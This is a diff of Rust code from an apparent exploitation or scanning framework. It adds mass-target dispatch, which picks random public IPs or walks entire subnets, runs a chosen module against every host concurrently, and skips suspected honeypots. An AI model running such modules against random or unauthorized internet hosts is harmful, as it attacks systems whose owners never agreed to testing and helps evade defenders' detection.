let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let max_hosts: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("max_random_hosts")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(10_000);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
let precheck_port: Option<u16> = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("port")
|
||||
.and_then(|v| v.parse().ok());
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Will scan up to {} random hosts with concurrency {} (setg max_random_hosts / concurrency to change){}",
|
||||
max_hosts, concurrency,
|
||||
if let Some(p) = precheck_port { format!(" | port pre-check: {}", p) } else { String::new() }
|
||||
).cyan());
|
||||
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let parent_config = crate::config::get_module_config();
|
||||
let mut seen = std::collections::HashSet::<std::net::IpAddr>::new();
|
||||
|
||||
for _ in 0..max_hosts {
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
if !seen.insert(ip) {
|
||||
continue;
|
||||
}
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = checked.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let pc = prompt_cache.clone();
|
||||
let cfg = parent_config.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Combined port pre-check + honeypot detection via native network lib
|
||||
if !crate::utils::network::mass_scan_precheck(ip, precheck_port, honeypot_enabled).await {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % 50 == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {} hosts scanned | {} ok | {} err",
|
||||
idx,
|
||||
sc.load(Ordering::Relaxed),
|
||||
fc.load(Ordering::Relaxed));
|
||||
}
|
||||
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
|
||||
cfg, pc, ip_str.clone(),
|
||||
));
|
||||
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(module_timeout_secs),
|
||||
registry::dispatch_by_category(&cat, &mname, &ip_str),
|
||||
).await
|
||||
}).await;
|
||||
match dispatch_result {
|
||||
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Ok(Err(e)) => {
|
||||
tracing::debug!("Mass scan {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Err(_) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
|
||||
crate::meprintln!("[!] Drain barrier failed: {}", e);
|
||||
}
|
||||
|
||||
drop(batch_guard);
|
||||
print_scan_summary("Random Mass Scan",
|
||||
checked.load(Ordering::Relaxed),
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- File-based target list ---
|
||||
if is_file {
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
let content = crate::utils::safe_read_to_string_async(target, None).await
|
||||
.with_context(|| format!("Failed to read target file '{}'", target))?;
|
||||
let targets: Vec<String> = content.lines()
|
||||
.map(|s| s.trim().to_string())
|
||||
.filter(|s| !s.is_empty() && !s.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
let count = targets.len();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] File target list: {} hosts from '{}' — running '{}/{}'",
|
||||
count, target, category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let total = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
// Shared prompt cache: all concurrent tasks share one set of prompt answers
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let parent_config = crate::config::get_module_config();
|
||||
|
||||
for ip_str in targets {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = total.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let pc = prompt_cache.clone();
|
||||
let cfg = parent_config.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Quick honeypot check before running module
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % 50 == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {}/{} hosts processed...", idx, count);
|
||||
}
|
||||
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
|
||||
cfg, pc, ip_str.clone(),
|
||||
));
|
||||
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(module_timeout_secs),
|
||||
registry::dispatch_by_category(&cat, &mname, &ip_str),
|
||||
).await
|
||||
}).await;
|
||||
match dispatch_result {
|
||||
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Ok(Err(e)) => {
|
||||
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Err(_) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
tracing::debug!("File target {} timed out after {}s", ip_str, module_timeout_secs);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Drain barrier: wait until all in-flight tasks release their permits.
|
||||
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
|
||||
crate::meprintln!("[!] Drain barrier failed (semaphore closed): {}", e);
|
||||
}
|
||||
|
||||
drop(batch_guard);
|
||||
print_scan_summary("File Target Scan",
|
||||
total.load(Ordering::Relaxed),
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- CIDR subnet expansion — handles ANY size subnet via lazy iteration ---
|
||||
if is_subnet_target(target) {
|
||||
let network = parse_subnet(target)?;
|
||||
let host_count = subnet_host_count(&network);
|
||||
|
||||
// /32 or /128 — single host, dispatch directly without subnet machinery
|
||||
if host_count <= 1 {
|
||||
let ip_str = network.network().to_string();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Single-host subnet {} — dispatching as {}", target, ip_str
|
||||
).cyan());
|
||||
registry::dispatch_by_category(category, module_name, &ip_str).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
|
||||
// Concurrency from global options, default 50
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
|
||||
// Warn for very large subnets but don't block
|
||||
if host_count > 1_000_000 {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Large subnet: {} ({} hosts) — this will take a while. Concurrency: {}. Ctrl+C to stop.",
|
||||
network, host_count, concurrency
|
||||
).yellow().bold());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Subnet: {} ({} hosts) — running '{}/{}' with concurrency {}",
|
||||
network, host_count, category, module_name, concurrency
|
||||
).cyan());
|
||||
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
let success_count = Arc::new(AtomicUsize::new(0));
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let total = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
|
||||
// Shared prompt cache: all concurrent tasks share one set of prompt answers
|
||||
let prompt_cache = crate::context::new_prompt_cache();
|
||||
let parent_config = crate::config::get_module_config();
|
||||
|
||||
// Adaptive progress interval: every 50 for small, 1000 for medium, 10000 for huge
|
||||
let progress_interval = if host_count > 10_000_000 {
|
||||
10_000
|
||||
} else if host_count > 100_000 {
|
||||
1_000
|
||||
} else if host_count > 1_000 {
|
||||
100
|
||||
} else {
|
||||
50
|
||||
};
|
||||
|
||||
// Lazy iteration — never allocates all IPs in memory
|
||||
for ip in network.iter() {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.context("Semaphore closed")?;
|
||||
let sc = success_count.clone();
|
||||
let fc = fail_count.clone();
|
||||
let tc = total.clone();
|
||||
let cat = category.clone();
|
||||
let mname = module_name.clone();
|
||||
let ip_str = ip.to_string();
|
||||
let pc = prompt_cache.clone();
|
||||
let cfg = parent_config.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
|
||||
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
if idx % progress_interval == 0 || idx == 1 {
|
||||
crate::mprintln!("[*] Progress: {}/{} hosts ({:.1}%) | {} ok | {} err",
|
||||
idx, host_count,
|
||||
(idx as f64 / host_count as f64) * 100.0,
|
||||
sc.load(Ordering::Relaxed),
|
||||
fc.load(Ordering::Relaxed));
|
||||
}
|
||||
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
|
||||
cfg, pc, ip_str.clone(),
|
||||
));
|
||||
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
|
||||
tokio::time::timeout(
|
||||
std::time::Duration::from_secs(module_timeout_secs),
|
||||
registry::dispatch_by_category(&cat, &mname, &ip_str),
|
||||
).await
|
||||
}).await;
|
||||
match dispatch_result {
|
||||
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Ok(Err(e)) => {
|
||||
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Err(_) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
tracing::debug!("Subnet {} timed out after {}s", ip_str, module_timeout_secs);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Drain barrier: wait until all in-flight tasks release their permits.
|
||||
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
|
||||
crate::meprintln!("[!] Drain barrier failed (semaphore closed): {}", e);
|
||||
}
|
||||
|
||||
drop(batch_guard);
|
||||
print_scan_summary("Subnet Scan",
|
||||
host_count as usize,
|
||||
success_count.load(Ordering::Relaxed),
|
||||
fail_count.load(Ordering::Relaxed));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
if honeypot_enabled && crate::utils::network::quick_honeypot_check(target).await {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Target {} appears to be a honeypot (11+ common ports open) — skipping",
|
||||
target
|
||||
).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
registry::dispatch_by_category(category, module_name, target).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate a random IP address within a given network range.
|
||||
/// Works for both IPv4 and IPv6 subnets of any size, including private ranges.
|
||||
|
||||
|
||||
fn print_scan_summary(label: &str, total: usize, success: usize, failed: usize) {
|
||||
use colored::Colorize;
|
||||
crate::mprintln!("\n{}", format!("=== {} Summary ===", label).cyan().bold());
|
||||
crate::mprintln!(" Total: {}", total);
|
||||
crate::mprintln!(" {}", format!("Successful: {}", success).green());
|
||||
crate::mprintln!(" {}", format!("Failed: {}", failed).red());
|
||||
}
|
||||
|
||||
/// Helper to aggregate all available modules from generated registry
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
registry::all_modules()
|
||||
}
|
||||
|
||||
/// Check if any third-party plugins are loaded.
|
||||
pub fn plugin_count() -> usize {
|
||||
discover_modules().iter().filter(|m| m.starts_with("plugins/")).count()
|
||||
}
|
||||
|
||||
pub fn categories() -> &'static [&'static str] {
|
||||
registry::CATEGORIES
|
||||
}
|
||||
|
||||
pub fn has_check(module_path: &str) -> bool {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = match parts.next() { Some(c) => c, None => return false };
|
||||
let module_name = match parts.next() { Some(m) => m, None => return false };
|
||||
registry::check_available_by_category(category, module_name)
|
||||
}
|
||||
|
||||
pub fn module_info(module_path: &str) -> Option<crate::module_info::ModuleInfo> {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = parts.next()?;
|
||||
let module_name = parts.next()?;
|
||||
registry::info_by_category(category, module_name)
|
||||
}
|
||||
|
||||
/// Run a non-destructive vulnerability check if the module supports it.
|
||||
pub async fn check_module(module_path: &str, target: &str) -> Option<crate::module_info::CheckResult> {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = parts.next()?;
|
||||
let module_name = parts.next()?;
|
||||
registry::check_by_category(category, module_name, target).await
|
||||
}
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
include!(concat!(env!("OUT_DIR"), "/plugins_dispatch.rs"));
|
||||
@@ -1,7 +1 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let scanners_root = Path::new("src/modules/scanners");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found scanner: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+249
-114
@@ -1,5 +1,7 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::collections::HashMap;
|
||||
use std::sync::{Arc, RwLock};
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
|
||||
@@ -22,6 +24,8 @@ pub enum TargetConfig {
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
/// Comma-separated list of targets (IPs, hostnames, and/or CIDRs)
|
||||
Multi(Vec<String>),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
@@ -53,15 +57,77 @@ impl GlobalConfig {
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
|
||||
// Mass scan keywords: "random", "0.0.0.0" — store as-is
|
||||
if trimmed == "random" || trimmed == "0.0.0.0" {
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// File-based target list: resolve canonical path to prevent traversal,
|
||||
// then store if the file exists. This check must come before the ".."
|
||||
// rejection so relative file paths like "../targets.txt" work.
|
||||
let path = std::path::Path::new(trimmed);
|
||||
if path.exists() && path.is_file() {
|
||||
// Resolve to canonical path (eliminates .., symlinks, etc.)
|
||||
let canonical = path.canonicalize()
|
||||
.map_err(|e| anyhow!("Failed to resolve file path '{}': {}", trimmed, e))?;
|
||||
let canonical_str = canonical.to_string_lossy().to_string();
|
||||
if canonical_str.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Canonical path too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(canonical_str));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Check for path traversal attempts (only for non-file targets)
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Comma-separated multi-target: "10.0.0.1, 192.168.1.0/24, example.com"
|
||||
if trimmed.contains(',') {
|
||||
let targets: Vec<String> = trimmed
|
||||
.split(',')
|
||||
.map(|t| t.trim().to_string())
|
||||
.filter(|t| !t.is_empty())
|
||||
.collect();
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets in comma-separated list"));
|
||||
}
|
||||
if targets.len() == 1 {
|
||||
// Single target after parsing — recurse without comma
|
||||
return self.set_target(&targets[0]);
|
||||
}
|
||||
// Validate each individual target
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
|
||||
for t in &targets {
|
||||
// Allow mass scan keywords, CIDRs, file paths, and hostnames/IPs
|
||||
if MASS_SCAN_KEYWORDS.contains(&t.as_str()) {
|
||||
continue;
|
||||
}
|
||||
if std::path::Path::new(t.as_str()).is_file() {
|
||||
continue;
|
||||
}
|
||||
if t.parse::<IpNetwork>().is_err() {
|
||||
Self::validate_hostname_or_ip(t)?;
|
||||
}
|
||||
}
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Multi(targets));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
|
||||
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
@@ -70,7 +136,7 @@ impl GlobalConfig {
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
@@ -87,7 +153,10 @@ impl GlobalConfig {
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
static VALID_CHARS: once_cell::sync::Lazy<Regex> = once_cell::sync::Lazy::new(|| {
|
||||
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("hardcoded regex must compile")
|
||||
});
|
||||
let valid_chars = &*VALID_CHARS;
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
@@ -118,142 +187,73 @@ impl GlobalConfig {
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.as_ref().map(|t| match t {
|
||||
let guard = self.target.read().ok()?;
|
||||
guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
TargetConfig::Multi(targets) => targets.join(", "),
|
||||
})
|
||||
}
|
||||
|
||||
/// Get a single IP address from the global target
|
||||
/// For subnets, returns the network address (first IP)
|
||||
pub fn get_single_target_ip(&self) -> Result<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
Ok(ip.clone())
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Return the network address (first IP in the subnet)
|
||||
Ok(net.network().to_string())
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get all IP addresses from the global target
|
||||
/// Returns a vector of IP addresses (expands subnets)
|
||||
/// For very large subnets (> 65536 IPs), returns an error
|
||||
pub fn get_target_ips(&self) -> Result<Vec<String>> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
// For single IP/hostname, return as-is
|
||||
Ok(vec![ip.clone()])
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Check subnet size to prevent memory issues
|
||||
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
// For very large IPv6 subnets, cap at u64::MAX
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
|
||||
|
||||
if size > MAX_SUBNET_SIZE {
|
||||
return Err(anyhow!(
|
||||
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
|
||||
size, MAX_SUBNET_SIZE
|
||||
));
|
||||
}
|
||||
|
||||
// Expand subnet to individual IPs
|
||||
let mut ips = Vec::new();
|
||||
for ip in net.iter() {
|
||||
ips.push(ip.to_string());
|
||||
}
|
||||
Ok(ips)
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.is_some()
|
||||
self.target.read().map(|g| g.is_some()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
|
||||
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)) | Some(TargetConfig::Multi(_)))).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
let target_guard = self.target.read().ok()?;
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Calculate size from prefix length
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
Some(Self::network_size(net))
|
||||
}
|
||||
Some(TargetConfig::Multi(targets)) => {
|
||||
let mut total = 0u64;
|
||||
for t in targets {
|
||||
if let Ok(net) = t.parse::<IpNetwork>() {
|
||||
total = total.saturating_add(Self::network_size(&net));
|
||||
} else {
|
||||
total = total.saturating_add(1);
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
Some(size)
|
||||
}
|
||||
Some(total)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Calculate the number of IPs in a network
|
||||
fn network_size(net: &IpNetwork) -> u64 {
|
||||
match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 { 1u64 } else { 2u64.pow(32 - prefix) }
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 { u64::MAX } else { 2u64.pow(exp) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = None;
|
||||
if let Ok(mut target_guard) = self.target.write() {
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -262,3 +262,138 @@ use once_cell::sync::Lazy;
|
||||
|
||||
